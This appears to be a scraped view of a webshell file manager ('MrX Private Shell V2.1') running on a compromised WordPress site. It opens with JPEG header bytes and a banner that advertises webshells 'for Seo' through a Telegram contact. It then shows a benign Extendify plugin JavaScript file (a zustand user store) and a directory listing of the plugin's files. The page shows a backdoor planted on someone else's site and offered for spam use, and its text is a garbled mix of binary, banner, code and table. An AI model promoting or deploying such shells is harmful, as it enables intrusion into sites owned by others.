����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { safeParseJson } from '@shared/lib/parsing';
import apiFetch from '@wordpress/api-fetch';
import { create } from 'zustand';
import { createJSONStorage, persist } from 'zustand/middleware';
const storage = {
getItem: async () => await apiFetch({ path: '/wp/v2/users/me' }),
setItem: async (_name, value) =>
await apiFetch({
path: '/wp/v2/users/me',
method: 'PUT',
data: { extendify_page_creator_user: value },
}),
};
export const useUserStore = create(
persist(
(set, get) => ({
openOnNewPage: true,
allowsInstallingPlugins: true,
updateUserOption: (key, value) => {
if (!Object.keys(get()).includes(key)) return;
set({ [key]: value });
},
...(safeParseJson(window.extPageCreator?.userInfo)?.state ?? {}),
}),
{
name: 'extendify_page_creator_user',
storage: createJSONStorage(() => storage),
partialize: (state) => ({ ...state, ready: false }),
skipHydration: true,
},
),
);
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| cache.js | File | 387 B | 0644 |
|
| global.js | File | 466 B | 0644 |
|
| pages.js | File | 1.52 KB | 0644 |
|
| plugins-cache.js | File | 666 B | 0644 |
|
| user.js | File | 944 B | 0644 |
|